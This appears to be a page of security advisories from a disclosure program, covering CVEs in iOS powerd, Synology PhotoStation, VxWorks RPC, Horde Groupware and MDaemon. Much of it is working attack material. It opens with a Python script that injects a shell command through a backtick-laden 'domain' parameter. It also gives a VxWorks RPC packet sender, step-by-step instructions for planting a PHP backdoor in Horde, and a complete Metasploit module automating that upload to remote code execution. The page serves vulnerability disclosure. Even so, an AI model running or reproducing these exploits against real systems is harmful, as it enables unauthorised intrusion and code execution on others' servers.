loginR = s.post(serverIP+"/login/", allow_redirects=False, data={'token':token,'user':username,'password':password},headers={'Referer':serverIP+'/login/','User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64;rv:65.0)Gecko/20100101 Firefox/65.0'}, verify=False)
if loginR.status_code!=302:
	print("Wrong login")
	print(loginR.text)
	print(loginR.status_code)
	print(loginR.headers)
	exit()
## Exploit ##
exploitR = s.get(serverIP+'/list/dns/index.php?domain=abc%20`'+cmd+'`')
if exploitR.status_code==200:
	print("Exploit done")
	print("You can now connect to the SSH server")
	print("Credentials: \nUsername: admin\nPassowrd: "+newRootPassword)
	print("Then, you need to execute 'sudo bash' and type again the password, then you
	are root")

SSD Advisory – iOS powerd Uninitialized Mach Message Reply to Sandbox Escape and Privilege Escalation

(This advisory follows up on a vulnerability provided in Hack2Win Extreme competition, that won the iOS Privilege Escalation category in our offensive security event in 2018 in Hong Kong – come join us at TyphoonCon – June 2019 in Seoul for more offensive security lectures and training)
Vulnerabilities Summary
The following advisory describes security bugs discovered in iOS’s powerd, which leads to arbitrary address read with unlimited amount of memory and an arbitrary address deallocation with arbitrary size, which can lead to Sandbox Escape and Privilege Escalation.
Vendor Response
“Power Management
Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: Multiple input validation issues existed in MIG generated code. These issues were addressed with improved validation.
CVE-2019-8549: Mohamed Ghannam (@_simo36) of SSD Secure Disclosure (ssd-disclosure.com)”
CVE
CVE-2019-8549
Credit
An independent Security Researcher, Mohamed Ghannam, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
iOS versions before 12.2.
Vulnerability Details
The powerd has its own MIG implementation, it’s based on _SC_CFMachPortCreateWithPort which is nothing more than a wrapper of CFMachPortCreateWithPort, it hosts a MIG callback called mig_server_callback(). This Callback is the main MIG resource handler which acts like mach_msg_server() in user-space or ipc_kmsg_server() in XNU kernel.
When powerd receives a Mach message, it allocates a reply message buffer via CFAllocatorAllocate with the default allocator and then later the reply message got partially initialized in pm_mig_demux().

We can notice that pm_mig_demux() doesn’t well initialize the reply buffer and only considers the message reply as Simple Mach Message and not a Complex Mach Message .
Unlike the MIG kernel, the MIG semantics in user-space (at least for powerd) is a bit different, the MIG routine takes the ownership of all passed objects (Mach ports, OOL memories and OOL ports), in case of failure, the MIG routine deallocates the appropriate object and returns KERN_SUCCESS (except for some few MIG routines which break this rule) which makes the MIG handler thinks that the routine returned successfully and took the ownership of all passed arguments. This is very important to understand because the bugs hugely rely on this logic.
Another important thing to mention, is that powerd uses retval parameters to store the real return value, this is kind of informing the client whether the Mach message request succeed or failed.

_io_pm_connection_copy_status() is a simple function which does nothing but returns KERN_SUCCESS, by looking to the MIG generated code, we can see that it has to reply with a complex message :

From the described above, we are obviously in front of an uninitialized OOL descriptor with full control of the address and size data members.
With some basic knowledge on how Mach IPC works, it’s possible to turn this into arbitrary code execution.
it’s worth noting that this bug does not cause any crash or a undefined behavior (unless the attacker filled memory with meaningful data), and will always returns success to the sender as we’ve seen earlier.
By controlling the uninitialized memory via spraying the heap, we could successfully fake the address and size members of mach_msg_ool_descriptor_t, thus we could reliably read an arbitrary memory address of powerd with unlimited amount of content.

Here we came across a problem, we cannot control an important member of mach_msg_ool_descriptor_t which is the .deallocate flag, if it is set to TRUE, the sender will directly deallocate the memory, otherwise, it won’t.
Unfortunately, _io_pm_connection_copy_status() sets .deallocate = FALSE, so we cannot make anything more than just reading powerd’s memory content.
We can make this bug more impcatful by finding a vulnerable function with .deallocate flag set to TRUE
After inspecting few MIG methods, we came across this MIG call:

If we can make sendData to be NULL, the method will jump into exit block and returns KERN_SUCCESS without initializing array_data and array_dataLen.
gHIDEventHistory is a global variable and we don’t have a direct control over it, after looking for a way of controlling it, it is safe to say that there is no direct way to make it invalid.
How can we make gHIDEventHistory invalid?
After inspecting powerd’s behavior, we came across this fact: if we will start a fresh powerd service process, gHIDEventHistory will still contain NULL and only after some time and via a MIG routine it will become a valid CFArray.
We came into this conclusion:
If we can force powerd to restart we can have gHIDEventHistory set to NULL which is sufficient to make sendData to NULL and trigger the bug shown above. In order to do this , we need another memory corruption to just make powerd crashe and Launchd has nothing to do but spawn a fresh powerd instance.
Here is a trivial bug NULL pointer dereference:


We can control details_ptr. If we will pass a malformed serialized data into IOCFUnserialize(), it will return NULL, and CFRelease() is called later within details_ptr without checking its value.
By testing out the primitive described above and combining the bugs together, we can turn this bug into Use-After-Deallocate. As an example, we can deallocate the CoreFoundation Library and reading its content with unlimited size:

And by deallocating such mandatory library, we would expect a random crash as follows:

Approach for exploitation
Once we have the two reliable primitives, we are in front of multiple ways to reach controlling the flow of the execution, in the exploit, we tried to do the following:
We have powersource objects which has a description CF object, this object can be updated by the attacker as he wishes if the current working powersource object has been created by himself.
We will send a very large CF Object with lots of CFData objects with some tagged values, and since we have a reliable primitive to read unlimited amount of memory from powerd, we can locate these objects and get the offset of one of the CFData objects. Later with the deallocation primitive, we will deallocate the located CFData object in page-aligned manner, and re-fill it with user controlled memory.
By sending multiple Mach OOL messages with .copy = MACH_PHYSICAL_COPY, otherwise, we can’t refill memory as we would like, since powerd MIG routines deallocate OOL descriptor in the end of each function, we can successfully control the ISA pointer of the CFData, and by releasing the target powersource->description, we get a PC control with X0 pointing to our controlled payload. And the exploitation becomes straightforward.
Exploit
Source Code
You can find the full source code of the exploit here:
iOS powerd Uninitialized Mach Message Reply to Sandbox Escape and Privilege Escalation
The exploit that will be provided here, steals powerd’s task port using ROP/JOP chains as follow:

(more…)

SSD Advisory – Synology PhotoStation Unauthenticated SQL Injection and Arbitrary File Injection to RCE

Vulnerabilities Summary
The following advisory describes two vulnerabilities found in Synology PhotoStation, an unauthenticated SQL injection combined with an authenticated arbitrary file writing with partially controlled data vulnerabilities which leads to remote code execution.
CVE
CVE-2019-11821 and CVE-2019-11822
Credit
Independent security researcher, MengHuan Yu, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems

(more…)

SSD Advisory – VxWorks RPC Buffer Overflow

Vulnerability Summary
The following advisory describes a vulnerability found in the Remote Procedure Call (RPC) component of the VxWorks real-time Opearting System, which suffers from a buffer overflow, this buffer overflow can be exploited to cause the component to execute arbitrary code.
CVE
CVE-2019-9865
Credit
An independent Security Researcher, Yu Zhou, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
VxWorks OS version 6.6
Vendor Response

“We’ve gone through our supported versions of VxWorks and found the versions affected are 6.9 before 6.9.1. We released the update to our customers today. Except in special circumstances, we only release statements and fixes for supported products. We know you found this vulnerability in an unsupported version of VxWorks. We won’t have a code update for that, but a mitigation is to disable CONFIG_RPC. This will be published in NVD as CVE-2019-9865. It should be public shortly. Thank you for working with us to resolve this problem. We hope to work with you in the future if you have found other vulnerabilities, and we may have other questions for you.”

Vulnerability Details
As previously mentioned, the vulnerability is inside the RPC component. The vulnerable function which contains the buffer overflow is _svcauth_unix. At _svcauth_unix + 0x67, will get the value 0xffffffff from the malicious packet (content will be viewed later).

Afterwards, in the cmp eax, 0FFh it will check whether the value (packet content size) is greater than 255 without considering the option of a negative value. The value 0xffffffff is used as the third parameter (nbytes) of the bcopy function, which will finaly cause a buffer overflow.

This is the packet that will be sent to the RPC Service:

Exploit

import socket
host = "192.168.15.199"
rpcPort = 111
f = open("pkt", 'rb') # pkt is the file which contains the payload to send.
data = f.read()
f.close()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, rpcPort))
sock.send(data)
sock.close()

SSD Advisory – Horde Groupware Webmail Authenticated Arbitrary File Injection to RCE

Vulnerabilities Summary
The following advisory discusses an arbitrary file injection vulnerability that leads to remote code execution in Horde Groupware Webmail. This vulnerability can be exploited by any authenticated, unprivileged user which able to create a malicious PHP file under the Horde web root and gain arbitrary code execution on the server. The vulnerability is located in the core Horde source code and has been proven exploitable with the installed default Turba address book component.
CVE
CVE-2019-9858
Credit
An independent security researcher, Ratiosec, has reported this vulnerability to SSD Secure Disclosur program.
Affected systems
The exploit has been proven working with the stable release Horde Groupware Webmail 5.2.22 and 5.2.17. Other versions may also be affected.
Vendor Response
“Here is the proposed fix for this vulnerability. It should be released in Horde_Form in a day or two.”

iff --git a/lib/Horde/Form/Type.php b/lib/Horde/Form/Type.php
index e92c790..f1e8157 100644
--- a/lib/Horde/Form/Type.php
+++ b/lib/Horde/Form/Type.php
@@ -1205,7 +1205,7 @@ class Horde_Form_Type_image extends Horde_Form_Type {
              /* Get the temp file if already one uploaded, otherwise create a
               * new temporary file. */
              if (!empty($upload['img']['file'])) {
-                $tmp_file = Horde::getTempDir() . '/' .
$upload['img']['file'];
+                $tmp_file = Horde::getTempDir() . '/' .
basename($upload['img']['file']);
              } else {
                  $tmp_file = Horde::getTempFile('Horde', false);

Vulnerability Details
The Horde file “Horde/Form/Type.php” contains the vulnerable class that handles the image upload in forms.
When the “Horde_Form_Type_image” method “onSubmit()” is called on uploads it invokes the functions “getImage()” and “_getUpload()”, which uses unsanitized user input as path to save the image.

The unsanitized POST parameter “object[photo][img][file]” is saved in the
“$upload[‘img’][‘file’]” PHP variable, allowing an attacker to manipulate the “$tmp_file” passed to “move_uploaded_file()” to save the uploaded file.
Set the parameter to e.g. “../usr/share/horde/static/bd.php” to write a PHP backdoor inside the web root. The “static/” destination folder is a good candidate to drop the backdoor because is always writable in Horde installations.
The unsanitized POST parameter went probably unnoticed because it’s never submitted by the forms which default to securely use a random path.
Exploit
1) Log into the Horde Groupware Webmail as normal user.
2) Access the “New Contact” view via “Address Book” in the menu.
3) Create a PHP backdoor file on your disk.
4) Fill the mandatory fields submitting the PHP backdoor in the “Photo” file field. The file name is irrelevant.

5) Click the Add button and intercept the outgoing HTTP request using Burp Suite. You should see the POST data including the uploaded PHP backdoor.

6) Add the new POST field “object[photo][img][file]” with the path to traverse the temporary folder and save the PHP backdoor under the “static/” folder. Two path traversals have been found working in different installations:
A. ../usr/share/horde/static/bd.php , working with Horde installed with “apt-get”
B. ../var/www/html/horde/static/bd.php”, working with Horde manually installed with PEAR

7) Forward the request to the target server.
8) Use the uploaded PHP file to execute arbitrary commands.

PoC Code

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Horde Turba File Upload Vulnerability',
      'Description'     => %q{
          Horde Groupware Webmail contains a flaw that allows an authenticated remote
          attacker to execute arbitrary PHP code. The exploitation requires the Turba
          subcomponent to be installed. This module was tested on versions 5.2.22 and 5.2.17.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Ratiosec', # Vulnerability Disclosure and module
        ],
      'References'      =>
        [
        ],
      'DisclosureDate'  => 'Aug 17 2017',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [
    ['Automatic', { }],
    ['PEAR', { 'path': '/var/www/html/'}],
    ['Ubuntu', { 'path': '/usr/share/horde/' }],
    ],
      'DefaultTarget'   => 0
    ))
    register_options(
      [
        OptString.new('TARGETURI',  [true, 'The base path to the web application', '/']),
        OptString.new('USERNAME',   [true, 'The username to authenticate with']),
        OptString.new('PASSWORD',   [true, 'The password to authenticate with'])
      ])
  end
  def check
    vprint_status("Authenticating using #{username}:#{password}")
    cookie = horde_login(username, password)
    return Exploit::CheckCode::Unknown unless cookie
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, '/turba/add.php'),
      'cookie'      => cookie
    )
    if res && res.code == 200
    if res.body.include?('Groupware 5.2.22') || res.body.include?('Groupware 5.2.17')
    return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end
  def username
    datastore['USERNAME']
  end
  def password
    datastore['PASSWORD']
  end
  def horde_login(user, pass)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, 'login.php')
    )
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    session_cookie = res.get_cookies
    vprint_status("Logging in...")
    res = send_request_cgi(
      'method'      => 'POST',
      'uri'         => normalize_uri(target_uri, 'login.php'),
      'cookie'      => session_cookie,
      'vars_post'   => {
        'horde_user'  => user,
        'horde_pass'  => pass,
        'login_post'    => '1'
      }
    )
    return res.get_cookies if res && res.code == 302
    nil
  end
  def get_tokens(cookie)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, 'turba', 'add.php'),
      'cookie'      => cookie
    )
    if res && res.code == 200
      if res.body.scan /turba\/add\.php\?source=(.+)"/
          source_token = Regexp.last_match.to_a[1..-1].find{|x| x != "favourites" }
      if res.body =~ /name="turba_form_addcontact_formToken" value="(.+)"/
        form_token = Regexp.last_match[1]
        return source_token, form_token, res.get_cookies
      end
      end
    end
    nil
  end
  def exploit
    vprint_status("Authenticating using #{username}:#{password}")
    cookie = horde_login(username, password)
    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
    vprint_good("Authenticated to Horde.")
    tokens = get_tokens(cookie)
    fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
    source_token, form_token, secret_cookie = tokens
    vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")
    targets[1..-1].each do |curr_target|
    if target.name =~ /Automatic/ or curr_target == target
      payload_name = Rex::Text.rand_text_alpha_lower(10)
      payload_path = File.join(curr_target[:path], "static", "#{payload_name}.php")
      payload_path_traversal = File.join("..", payload_path)
      vprint_status("Preparing payload for target #{curr_target.name}...")
      data = Rex::MIME::Message.new
      data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
      data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
      data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
      data.add_part(source_token, nil, nil, 'form-data; name="source"')
      data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
      post_data = data.to_s
      vprint_status("Uploading payload to #{payload_path_traversal}")
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri, 'turba', 'add.php'),
        'ctype'     => "multipart/form-data; boundary=#{data.bound}",
        'data'      => post_data,
        'cookie'    => cookie + ' ' + secret_cookie
      )
      fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
      payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
      vprint_status("Executing the payload at #{payload_url}.")
      res = send_request_cgi(
        'uri'     => payload_url,
        'method'  => 'GET'
      )
      if res and res.code != 200
        vprint_bad("URL #{payload_url} hasn't been created or is not callable")
      else
        register_files_for_cleanup(payload_path)
        break
      end
    end
   end
  end
end

Install the module under ~/.msf4/modules/exploits/unix/webapp/horde_turba_file_upload.rb .
The module automatically exploits the Horde across different  configurations, both if manually installed with PEAR or with apt-get.

SSD Advisory – MDaemon Mail Server Multiple XSS Vulnerabilities

Vulnerabilities Summary
The following advisory describes two XSS vulnerabilities found in MDaemon Mail Server which lets attackers send emails with malicious payloads and run client side code on victim’s browsers just by opening an email.

CVE
CVE-2019-8983
CVE-2019-8984

Credit
An independent security researcher, Zhong Zhaochen, has reported this vulnerability to SSD Secure Disclosure program.

(more…)